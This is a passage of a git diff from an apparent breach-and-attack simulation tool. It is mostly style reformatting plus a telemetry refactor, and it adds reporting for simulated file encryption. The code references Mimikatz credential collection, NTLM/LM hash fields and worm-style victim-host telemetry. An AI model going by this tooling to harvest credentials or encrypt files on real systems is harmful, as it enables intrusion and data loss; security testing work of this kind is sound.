'ntlm_hash': self.ntlm_hash, - 'lm_hash': self.lm_hash} + return { + "username": self.username, + "password": self.password, + "ntlm_hash": self.ntlm_hash, + "lm_hash": self.lm_hash, + } diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 8a53898c7..9fb30bab2 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -1,9 +1,12 @@ import logging +import shlex import subprocess import sys from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR -from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector import MimikatzCredentialCollector +from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector import ( + MimikatzCredentialCollector, +) sys.coinit_flags = 0 # needed for proper destruction of the wmi python module import infection_monkey.config # noqa: E402 @@ -12,9 +15,7 @@ from infection_monkey.system_info import InfoCollector # noqa: E402 from infection_monkey.system_info.wmi_consts import WMI_CLASSES # noqa: E402 LOG = logging.getLogger(__name__) -LOG.info('started windows info collector') - -__author__ = 'uri' +LOG.info("started windows info collector") class WindowsInfoCollector(InfoCollector): @@ -25,8 +26,8 @@ class WindowsInfoCollector(InfoCollector): def __init__(self): super(WindowsInfoCollector, self).__init__() self._config = infection_monkey.config.WormConfiguration - self.info['reg'] = {} - self.info['wmi'] = {} + self.info["reg"] = {} + self.info["wmi"] = {} def get_info(self): """ @@ -40,27 +41,28 @@ class WindowsInfoCollector(InfoCollector): # TODO: Think about returning self.get_wmi_info() self.get_installed_packages() from infection_monkey.config import WormConfiguration + if MIMIKATZ_COLLECTOR in WormConfiguration.system_info_collector_classes: self.get_mimikatz_info() return self.info def get_installed_packages(self): - LOG.info('Getting installed packages') + LOG.info("Getting installed packages") - packages = subprocess.check_output("dism /online /get-packages", shell=True) - self.info["installed_packages"] = packages.decode('utf-8', errors='ignore') + packages = subprocess.check_output(shlex.split("dism /online /get-packages")) + self.info["installed_packages"] = packages.decode("utf-8", errors="ignore") - features = subprocess.check_output("dism /online /get-features", shell=True) - self.info["installed_features"] = features.decode('utf-8', errors='ignore') + features = subprocess.check_output(shlex.split("dism /online /get-features")) + self.info["installed_features"] = features.decode("utf-8", errors="ignore") - LOG.debug('Got installed packages') + LOG.debug("Got installed packages") def get_wmi_info(self): - LOG.info('Getting wmi info') + LOG.info("Getting wmi info") for wmi_class_name in WMI_CLASSES: - self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name) - LOG.debug('Finished get_wmi_info') + self.info["wmi"][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name) + LOG.debug("Finished get_wmi_info") def get_mimikatz_info(self): LOG.info("Gathering mimikatz info") @@ -70,8 +72,8 @@ class WindowsInfoCollector(InfoCollector): if "credentials" in self.info: self.info["credentials"].update(credentials) self.info["mimikatz"] = credentials - LOG.info('Mimikatz info gathered successfully') + LOG.info("Mimikatz info gathered successfully") else: - LOG.info('No mimikatz info was gathered') + LOG.info("No mimikatz info was gathered") except Exception as e: LOG.info(f"Mimikatz credential collector failed: {e}") diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py index a42472b82..d9b212661 100644 --- a/monkey/infection_monkey/system_info/wmi_consts.py +++ b/monkey/infection_monkey/system_info/wmi_consts.py @@ -1,31 +1,12 @@ -WMI_CLASSES = {"Win32_OperatingSystem", "Win32_ComputerSystem", "Win32_LoggedOnUser", "Win32_UserAccount", - "Win32_UserProfile", "Win32_Group", "Win32_GroupUser", "Win32_Product", "Win32_Service", - "Win32_OptionalFeature"} - -# These wmi queries are able to return data about all the users & machines in the domain. -# For these queries to work, the monkey should be run on a domain machine and -# -# monkey should run as *** SYSTEM *** !!! -# -WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", - "DS_sAMAccountType", "ADSIPath", "DS_userAccountControl", - "DS_objectSid", "DS_objectClass", "DS_memberOf", - "DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime", - "DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp", - "DS_lastLogoff", "DS_logonCount", "DS_accountExpires"), - - "ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName", - "DS_sAMAccountType", "DS_objectSid", "DS_objectClass", - "DS_name", "DS_memberOf", "DS_member", "DS_instanceType", - "DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"), - - "ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires", - "DS_adminDisplayName", "DS_badPasswordTime", - "DS_badPwdCount", "DS_cn", "DS_distinguishedName", - "DS_instanceType", "DS_lastLogoff", "DS_lastLogon", - "DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass", - "DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion", - "DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName", - "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl", - "DS_whenChanged", "DS_whenCreated"), - } +WMI_CLASSES = { + "Win32_OperatingSystem", + "Win32_ComputerSystem", + "Win32_LoggedOnUser", + "Win32_UserAccount", + "Win32_UserProfile", + "Win32_Group", + "Win32_GroupUser", + "Win32_Product", + "Win32_Service", + "Win32_OptionalFeature", +} diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index f82e7be44..689e74979 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -5,17 +5,10 @@ from abc import ABCMeta, abstractmethod from infection_monkey.config import WormConfiguration -__author__ = 'itamar' - LOG = logging.getLogger(__name__) class _SystemSingleton(object, metaclass=ABCMeta): - @property - @abstractmethod - def locked(self): - raise NotImplementedError() - @abstractmethod def try_lock(self): raise NotImplementedError() @@ -30,30 +23,25 @@ class WindowsSystemSingleton(_SystemSingleton): self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name,) self._mutex_handle = None - @property - def locked(self): - return self._mutex_handle is not None - def try_lock(self): assert self._mutex_handle is None, "Singleton already locked" - handle = ctypes.windll.kernel32.CreateMutexA(None, - ctypes.c_bool(True), - ctypes.c_char_p(self._mutex_name.encode())) + handle = ctypes.windll.kernel32.CreateMutexA( + None, ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name.encode()) + ) last_error = ctypes.windll.kernel32.GetLastError() if not handle: - LOG.error("Cannot acquire system singleton %r, unknown error %d", - self._mutex_name, last_error) + LOG.error( + "Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error + ) return False if winerror.ERROR_ALREADY_EXISTS == last_error: - LOG.debug("Cannot acquire system singleton %r, mutex already exist", - self._mutex_name) + LOG.debug("Cannot acquire system singleton %r, mutex already exist", self._mutex_name) return False self._mutex_handle = handle - LOG.debug("Global singleton mutex %r acquired", - self._mutex_name) + LOG.debug("Global singleton mutex %r acquired", self._mutex_name) return True @@ -68,20 +56,20 @@ class LinuxSystemSingleton(_SystemSingleton): self._unix_sock_name = str(WormConfiguration.singleton_mutex_name) self._sock_handle = None - @property - def locked(self): - return self._sock_handle is not None - def try_lock(self): assert self._sock_handle is None, "Singleton already locked" sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) try: - sock.bind('\0' + self._unix_sock_name) + sock.bind("\0" + self._unix_sock_name) except socket.error as e: - LOG.error("Cannot acquire system singleton %r, error code %d, error: %s", - self._unix_sock_name, e.args[0], e.args[1]) + LOG.error( + "Cannot acquire system singleton %r, error code %d, error: %s", + self._unix_sock_name, + e.args[0], + e.args[1], + ) return False self._sock_handle = sock diff --git a/monkey/infection_monkey/telemetry/attack/attack_telem.py b/monkey/infection_monkey/telemetry/attack/attack_telem.py index ba3fae8fd..cbb158bf4 100644 --- a/monkey/infection_monkey/telemetry/attack/attack_telem.py +++ b/monkey/infection_monkey/telemetry/attack/attack_telem.py @@ -1,11 +1,8 @@ from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem -__author__ = "VakarisZ" - class AttackTelem(BaseTelem): - def __init__(self, technique, status): """ Default ATT&CK telemetry constructor @@ -19,7 +16,4 @@ class AttackTelem(BaseTelem): telem_category = TelemCategoryEnum.ATTACK def get_data(self): - return { - 'status': self.status.value, - 'technique': self.technique - } + return {"status": self.status.value, "technique": self.technique} diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py index 999d8622a..545bb47d3 100644 --- a/monkey/infection_monkey/telemetry/attack/t1005_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py @@ -9,14 +9,11 @@ class T1005Telem(AttackTelem): :param gathered_data_type: Type of data collected from local system :param info: Additional info about data """ - super(T1005Telem, self).__init__('T1005', status) + super(T1005Telem, self).__init__("T1005", status) self.gathered_data_type = gathered_data_type self.info = info def get_data(self): data = super(T1005Telem, self).get_data() - data.update({ - 'gathered_data_type': self.gathered_data_type, - 'info': self.info - }) + data.update({"gathered_data_type": self.gathered_data_type, "info": self.info}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py index 4ca9dc93c..6a7867af2 100644 --- a/monkey/infection_monkey/telemetry/attack/t1035_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py @@ -8,4 +8,4 @@ class T1035Telem(UsageTelem): :param status: ScanStatus of technique :param usage: Enum of UsageEnum type """ - super(T1035Telem, self).__init__('T1035', status, usage) + super(T1035Telem, self).__init__("T1035", status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py index 94be44a79..de2333ca8 100644 --- a/monkey/infection_monkey/telemetry/attack/t1064_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -3,18 +3,17 @@ from infection_monkey.telemetry.attack.usage_telem import AttackTelem class T1064Telem(AttackTelem): def __init__(self, status, usage): - # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem techniques + # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem + # techniques """ T1064 telemetry. :param status: ScanStatus of technique :param usage: Usage string """ - super(T1064Telem, self).__init__('T1064', status) + super(T1064Telem, self).__init__("T1064", status) self.usage = usage def get_data(self): data = super(T1064Telem, self).get_data() - data.update({ - 'usage': self.usage - }) + data.update({"usage": self.usage}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py index 454391da8..939e2b3e2 100644 --- a/monkey/infection_monkey/telemetry/attack/t1105_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py @@ -10,16 +10,12 @@ class T1105Telem(AttackTelem): :param dst: IP of machine which downloaded the file :param filename: Uploaded file's name """ - super(T1105Telem, self).__init__('T1105', status) + super(T1105Telem, self).__init__("T1105", status) self.filename = filename self.src = src self.dst = dst def get_data(self): data = super(T1105Telem, self).get_data() - data.update({ - 'filename': self.filename, - 'src': self.src, - 'dst': self.dst - }) + data.update({"filename": self.filename, "src": self.src, "dst": self.dst}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py index ffb69b698..816488f3b 100644 --- a/monkey/infection_monkey/telemetry/attack/t1107_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py @@ -8,12 +8,10 @@ class T1107Telem(AttackTelem): :param status: ScanStatus of technique :param path: Path of deleted dir/file """ - super(T1107Telem, self).__init__('T1107', status) + super(T1107Telem, self).__init__("T1107", status) self.path = path def get_data(self): data = super(T1107Telem, self).get_data() - data.update({ - 'path': self.path - }) + data.update({"path": self.path}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1197_telem.py b/monkey/infection_monkey/telemetry/attack/t1197_telem.py index 769f93823..efd8dcd79 100644 --- a/monkey/infection_monkey/telemetry/attack/t1197_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1197_telem.py @@ -1,23 +1,20 @@ from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem -__author__ = "itay.mizeretz" - class T1197Telem(VictimHostTelem): def __init__(self, status, machine, usage): - # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem techniques + # TODO: rename parameter "usage" to avoid confusion with parameter "usage" in UsageTelem + # techniques """ T1197 telemetry. :param status: ScanStatus of technique :param machine: VictimHost obj from model/host.py :param usage: Usage string """ - super(T1197Telem, self).__init__('T1197', status, machine) + super(T1197Telem, self).__init__("T1197", status, machine) self.usage = usage def get_data(self): data = super(T1197Telem, self).get_data() - data.update({ - 'usage': self.usage - }) + data.update({"usage": self.usage}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py index 4708c230a..30a0314ae 100644 --- a/monkey/infection_monkey/telemetry/attack/t1222_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py @@ -9,12 +9,10 @@ class T1222Telem(VictimHostTelem): :param command: command used to change permissions :param machine: VictimHost type object """ - super(T1222Telem, self).__init__('T1222', status, machine) + super(T1222Telem, self).__init__("T1222", status, machine) self.command = command def get_data(self): data = super(T1222Telem, self).get_data() - data.update({ - 'command': self.command - }) + data.update({"command": self.command}) return data diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py index 4b47d8be3..3066fe3d3 100644 --- a/monkey/infection_monkey/telemetry/attack/usage_telem.py +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -2,7 +2,6 @@ from infection_monkey.telemetry.attack.attack_telem import AttackTelem class UsageTelem(AttackTelem): - def __init__(self, technique, status, usage): """ :param technique: Id of technique @@ -14,7 +13,5 @@ class UsageTelem(AttackTelem): def get_data(self): data = super(UsageTelem, self).get_data() - data.update({ - 'usage': self.usage - }) + data.update({"usage": self.usage}) return data diff --git a/monkey/infection_monkey/telemetry/attack/victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py index 9e277926c..66bc54f60 100644 --- a/monkey/infection_monkey/telemetry/attack/victim_host_telem.py +++ b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py @@ -1,10 +1,7 @@ from infection_monkey.telemetry.attack.attack_telem import AttackTelem -__author__ = "VakarisZ" - class VictimHostTelem(AttackTelem): - def __init__(self, technique, status, machine): """ ATT&CK telemetry. @@ -14,11 +11,9 @@ class VictimHostTelem(AttackTelem): :param machine: VictimHost obj from model/host.py """ super(VictimHostTelem, self).__init__(technique, status) - self.machine = {'domain_name': machine.domain_name, 'ip_addr': machine.ip_addr} + self.machine = {"domain_name": machine.domain_name, "ip_addr": machine.ip_addr} def get_data(self): data = super(VictimHostTelem, self).get_data() - data.update({ - 'machine': self.machine - }) + data.update({"machine": self.machine}) return data diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py index 96e7a6288..2f8f68892 100644 --- a/monkey/infection_monkey/telemetry/base_telem.py +++ b/monkey/infection_monkey/telemetry/base_telem.py @@ -3,11 +3,11 @@ import json import logging from infection_monkey.control import ControlClient +from infection_monkey.telemetry.i_telem import ITelem logger = logging.getLogger(__name__) LOGGED_DATA_LENGTH = 300 # How many characters of telemetry data will be logged -__author__ = 'itay.mizeretz' # TODO: Rework the interface for telemetry; this class has too many responsibilities # (i.e. too many reasons to change): @@ -23,14 +23,11 @@ __author__ = 'itay.mizeretz' # logging and sending them. -class BaseTelem(object, metaclass=abc.ABCMeta): +class BaseTelem(ITelem, metaclass=abc.ABCMeta): """ Abstract base class for telemetry. """ - def __init__(self): - pass - def send(self, log_data=True): """ Sends telemetry to island @@ -40,13 +37,6 @@ class BaseTelem(object, metaclass=abc.ABCMeta): self._log_telem_sending(serialized_data, log_data) ControlClient.send_telemetry(self.telem_category, serialized_data) - @abc.abstractmethod - def get_data(self) -> dict: - """ - :return: Data of telemetry (should be dict) - """ - pass - @property def json_encoder(self): return json.JSONEncoder @@ -56,14 +46,6 @@ class BaseTelem(object, metaclass=abc.ABCMeta): if log_data: logger.debug(f"Telemetry contents: {BaseTelem._truncate_data(serialized_data)}") - @property - @abc.abstractmethod - def telem_category(self): - """ - :return: Telemetry type - """ - pass - @staticmethod def _truncate_data(data: str): if len(data) <= LOGGED_DATA_LENGTH: diff --git a/monkey/infection_monkey/telemetry/batchable_telem_mixin.py b/monkey/infection_monkey/telemetry/batchable_telem_mixin.py new file mode 100644 index 000000000..905e9e91b --- /dev/null +++ b/monkey/infection_monkey/telemetry/batchable_telem_mixin.py @@ -0,0 +1,23 @@ +from typing import Iterable + +from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem + + +class BatchableTelemMixin: + """ + Implements the get_telemetry_batch() and add_telemetry_to_batch() methods from the + IBatchableTelem interface using a list. + """ + + @property + def _telemetry_entries(self): + if not hasattr(self, "_list"): + self._list = [] + + return self._list + + def get_telemetry_batch(self) -> Iterable: + return self._telemetry_entries + + def add_telemetry_to_batch(self, telemetry: IBatchableTelem): + self._telemetry_entries.extend(telemetry.get_telemetry_batch()) diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index 0a33d1484..e181b0243 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -1,11 +1,8 @@ from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem -__author__ = "itay.mizeretz" - class ExploitTelem(BaseTelem): - def __init__(self, exploiter, result): """ Default exploit telemetry constructor @@ -20,9 +17,9 @@ class ExploitTelem(BaseTelem): def get_data(self): return { - 'result': self.result, - 'machine': self.exploiter.host.__dict__, - 'exploiter': self.exploiter.__class__.__name__, - 'info': self.exploiter.exploit_info, - 'attempts': self.exploiter.exploit_attempts + "result": self.result, + "machine": self.exploiter.host.__dict__, + "exploiter": self.exploiter.__class__.__name__, + "info": self.exploiter.exploit_info, + "attempts": self.exploiter.exploit_attempts, } diff --git a/monkey/infection_monkey/telemetry/file_encryption_telem.py b/monkey/infection_monkey/telemetry/file_encryption_telem.py new file mode 100644 index 000000000..7f18867ab --- /dev/null +++ b/monkey/infection_monkey/telemetry/file_encryption_telem.py @@ -0,0 +1,24 @@ +from pathlib import Path + +from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.telemetry.base_telem import BaseTelem +from infection_monkey.telemetry.batchable_telem_mixin import BatchableTelemMixin +from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem + + +class FileEncryptionTelem(BatchableTelemMixin, IBatchableTelem, BaseTelem): + def __init__(self, filepath: Path, success: bool, error: str): + """ + File Encryption telemetry constructor + :param filepath: The path to the file that monkey attempted to encrypt + :param success: True if encryption was successful, false otherwise + :param error: An error message describing the failure. Empty unless success == False + """ + super().__init__() + + self._telemetry_entries.append({"path": filepath, "success": success, "error": error}) + + telem_category = TelemCategoryEnum.FILE_ENCRYPTION + + def get_data(self): + return {"files": self._telemetry_entries} diff --git a/monkey/infection_monkey/telemetry/i_batchable_telem.py b/monkey/infection_monkey/telemetry/i_batchable_telem.py new file mode 100644 index 000000000..3503316fa --- /dev/null +++ b/monkey/infection_monkey/telemetry/i_batchable_telem.py @@ -0,0 +1,21 @@ +from __future__ import annotations + +import abc +from typing import Iterable + +from infection_monkey.telemetry.i_telem import ITelem + + +class IBatchableTelem(ITelem, metaclass=abc.ABCMeta): + """ + Extends the ITelem interface and enables telemetries to be aggregated into + batches. + """ + + @abc.abstractmethod + def get_telemetry_batch(self) -> Iterable: + pass + + @abc.abstractmethod + def add_telemetry_to_batch(self, telemetry: IBatchableTelem): + pass diff --git a/monkey/infection_monkey/telemetry/i_telem.py b/monkey/infection_monkey/telemetry/i_telem.py new file mode 100644 index 000000000..faaa0a65e --- /dev/null +++ b/monkey/infection_monkey/telemetry/i_telem.py @@ -0,0 +1,29 @@ +import abc + + +class ITelem(metaclass=abc.ABCMeta): + @abc.abstractmethod + def send(self, log_data=True): + """ + Sends telemetry to island + """ + + @abc.abstractmethod + def get_data(self) -> dict: + """ + :return: Data of telemetry (should be dict) + """ + pass + + @property + @abc.abstractmethod + def json_encoder(self): + pass + + @property + @abc.abstractmethod + def telem_category(self): + """ + :return: Telemetry type + """ + pass diff --git a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py new file mode 100644 index 000000000..123903fb0 --- /dev/null +++ b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py @@ -0,0 +1,108 @@ +import queue +import threading +import time +from typing import Dict + +from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem +from infection_monkey.telemetry.i_telem import ITelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + +DEFAULT_PERIOD = 5 +WAKES_PER_PERIOD = 4 + + +class BatchingTelemetryMessenger(ITelemetryMessenger): + """ + An ITelemetryMessenger decorator that aggregates IBatchableTelem telemetries + and periodically sends them to Monkey Island. + """ + + def __init__(self, telemetry_messenger: ITelemetryMessenger, period=DEFAULT_PERIOD): + self._queue: queue.Queue[ITelem] = queue.Queue() + self._thread = self._BatchingTelemetryMessengerThread( + self._queue, telemetry_messenger, period + ) + + self._thread.start() + + def __del__(self): + self._thread.stop() + + def send_telemetry(self, telemetry: ITelem): + self._queue.put(telemetry) + + class _BatchingTelemetryMessengerThread: + def __init__( + self, telem_queue: queue.Queue, telemetry_messenger: ITelemetryMessenger, period: int + ): + self._queue: queue.Queue[ITelem] = telem_queue + self._telemetry_messenger = telemetry_messenger + self._period = period + + self._should_run_batch_thread = True + # TODO: Create a "timer" or "countdown" class and inject an object instead of + # using time.time() + self._last_sent_time = time.time() + self._telemetry_batches: Dict[str, IBatchableTelem] = {} + + self._manage_telemetry_batches_thread = None + + def start(self): + self._should_run_batch_thread = True + self._manage_telemetry_batches_thread = threading.Thread( + target=self._manage_telemetry_batches + ) + self._manage_telemetry_batches_thread.start() + + def stop(self): + self._should_run_batch_thread = False + self._manage_telemetry_batches_thread.join() + self._manage_telemetry_batches_thread = None + + def _manage_telemetry_batches(self): + self._reset() + + while self._should_run_batch_thread: + self._process_next_telemetry() + + if self._period_elapsed(): + self._send_telemetry_batches() + self._reset() + + self._send_remaining_telemetry_batches() + + def _reset(self): + self._last_sent_time = time.time() + self._telemetry_batches = {} + + def _process_next_telemetry(self): + try: + telemetry = self._queue.get(block=True, timeout=self._period / WAKES_PER_PERIOD) + + if isinstance(telemetry, IBatchableTelem): + self._add_telemetry_to_batch(telemetry) + else: + self._telemetry_messenger.send_telemetry(telemetry) + except queue.Empty: + pass + + def _add_telemetry_to_batch(self, new_telemetry: IBatchableTelem): + telem_category = new_telemetry.telem_category + + if telem_category in self._telemetry_batches: + self._telemetry_batches[telem_category].add_telemetry_to_batch(new_telemetry) + else: + self._telemetry_batches[telem_category] = new_telemetry + + def _period_elapsed(self): + return (time.time() - self._last_sent_time) > self._period + + def _send_remaining_telemetry_batches(self): + while not self._queue.empty(): + self._process_next_telemetry() + + self._send_telemetry_batches() + + def _send_telemetry_batches(self): + for batchable_telemetry in self._telemetry_batches.values(): + self._telemetry_messenger.send_telemetry(batchable_telemetry) diff --git a/monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py new file mode 100644 index 000000000..cf5511e83 --- /dev/null +++ b/monkey/infection_monkey/telemetry/messengers/i_telemetry_messenger.py @@ -0,0 +1,9 @@ +import abc + +from infection_monkey.telemetry.i_telem import ITelem + + +class ITelemetryMessenger(metaclass=abc.ABCMeta): + @abc.abstractmethod + def send_telemetry(self, telemetry: ITelem): + pass diff --git a/monkey/infection_monkey/telemetry/messengers/legacy_telemetry_messenger_adapter.py b/monkey/infection_monkey/telemetry/messengers/legacy_telemetry_messenger_adapter.py new file mode 100644 index 000000000..cbbe03595 --- /dev/null +++ b/monkey/infection_monkey/telemetry/messengers/legacy_telemetry_messenger_adapter.py @@ -0,0 +1,12 @@ +from infection_monkey.telemetry.i_telem import ITelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + + +class LegacyTelemetryMessengerAdapter(ITelemetryMessenger): + """ + Provides an adapter between modules that require an ITelemetryMessenger and the + legacy method for sending telemetry. + """ + + def send_telemetry(self, telemetry: ITelem): + telemetry.send() diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py index 15aa41247..aceb8d294 100644 --- a/monkey/infection_monkey/telemetry/post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -3,11 +3,8 @@ import socket from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem -__author__ = "itay.mizeretz" - class PostBreachTelem(BaseTelem): - def __init__(self, pba, result): """ Default post breach telemetry constructor @@ -23,11 +20,11 @@ class PostBreachTelem(BaseTelem): def get_data(self): return { - 'command': self.pba.command, - 'result': self.result, - 'name': self.pba.name, - 'hostname': self.hostname, - 'ip': self.ip + "command": self.pba.command, + "result": self.result, + "name": self.pba.name, + "hostname": self.hostname, + "ip": self.ip, } @staticmethod diff --git a/monkey/infection_monkey/telemetry/scan_telem.py b/monkey/infection_monkey/telemetry/scan_telem.py index a4dac1396..56cd051c4 100644 --- a/monkey/infection_monkey/telemetry/scan_telem.py +++ b/monkey/infection_monkey/telemetry/scan_telem.py @@ -1,11 +1,8 @@ from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem -__author__ = "itay.mizeretz" - class ScanTelem(BaseTelem): - def __init__(self, machine): """ Default scan telemetry constructor @@ -17,7 +14,4 @@ class ScanTelem(BaseTelem): telem_category = TelemCategoryEnum.SCAN def get_data(self): - return { - 'machine': self.machine.as_dict(), - 'service_count': len(self.machine.services) - } + return {"machine": self.machine.as_dict(), "service_count": len(self.machine.services)} diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py index ba112f8b9..91b26f69d 100644 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -1,11 +1,11 @@ from ScoutSuite.output.result_encoder import ScoutJsonEncoder from ScoutSuite.providers.base.provider import BaseProvider + from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem class ScoutSuiteTelem(BaseTelem): - def __init__(self, provider: BaseProvider): super().__init__() self.provider_data = provider @@ -14,6 +14,4 @@ class ScoutSuiteTelem(BaseTelem): telem_category = TelemCategoryEnum.SCOUTSUITE def get_data(self): - return { - 'data': self.provider_data - } + return {"data": self.provider_data} diff --git a/monkey/infection_monkey/telemetry/state_telem.py b/monkey/infection_monkey/telemetry/state_telem.py index 9ecd53c20..98aec3166 100644 --- a/monkey/infection_monkey/telemetry/state_telem.py +++ b/monkey/infection_monkey/telemetry/state_telem.py @@ -1,11 +1,8 @@ from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem -__author__ = "itay.mizeretz" - class StateTelem(BaseTelem): - def __init__(self, is_done, version="Unknown"): """ Default state telemetry constructor @@ -18,7 +15,4 @@ class StateTelem(BaseTelem): telem_category = TelemCategoryEnum.STATE def get_data(self): - return { - 'done': self.is_done, - 'version': self.version - } + return {"done": self.is_done, "version": self.version} diff --git a/monkey/infection_monkey/telemetry/system_info_telem.py b/monkey/infection_monkey/telemetry/system_info_telem.py index a7ac21456..554568dd4 100644 --- a/monkey/infection_monkey/telemetry/system_info_telem.py +++ b/monkey/infection_monkey/telemetry/system_info_telem.py @@ -1,11 +1,8 @@ from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem -__author__ = "itay.mizeretz" - class SystemInfoTelem(BaseTelem): - def __init__(self, system_info): """ Default system info telemetry constructor diff --git a/monkey/infection_monkey/telemetry/trace_telem.py b/monkey/infection_monkey/telemetry/trace_telem.py index dfe3f762b..8e5922dca 100644 --- a/monkey/infection_monkey/telemetry/trace_telem.py +++ b/monkey/infection_monkey/telemetry/trace_telem.py @@ -3,13 +3,10 @@ import logging from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem -__author__ = "itay.mizeretz" - LOG = logging.getLogger(__name__) class TraceTelem(BaseTelem): - def __init__(self, msg): """ Default trace telemetry constructor @@ -22,6 +19,4 @@ class TraceTelem(BaseTelem): telem_category = TelemCategoryEnum.TRACE def get_data(self): - return { - 'msg': self.msg - } + return {"msg": self.msg} diff --git a/monkey/infection_monkey/telemetry/tunnel_telem.py b/monkey/infection_monkey/telemetry/tunnel_telem.py index b4e4a07e6..f8d562771 100644 --- a/monkey/infection_monkey/telemetry/tunnel_telem.py +++ b/monkey/infection_monkey/telemetry/tunnel_telem.py @@ -2,19 +2,16 @@ from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.control import ControlClient from infection_monkey.telemetry.base_telem import BaseTelem -__author__ = "itay.mizeretz" - class TunnelTelem(BaseTelem): - def __init__(self): """ Default tunnel telemetry constructor """ super(TunnelTelem, self).__init__() - self.proxy = ControlClient.proxies.get('https') + self.proxy = ControlClient.proxies.get("https") telem_category = TelemCategoryEnum.TUNNEL def get_data(self): - return {'proxy': self.proxy} + return {"proxy": self.proxy} diff --git a/monkey/infection_monkey/transport/base.py 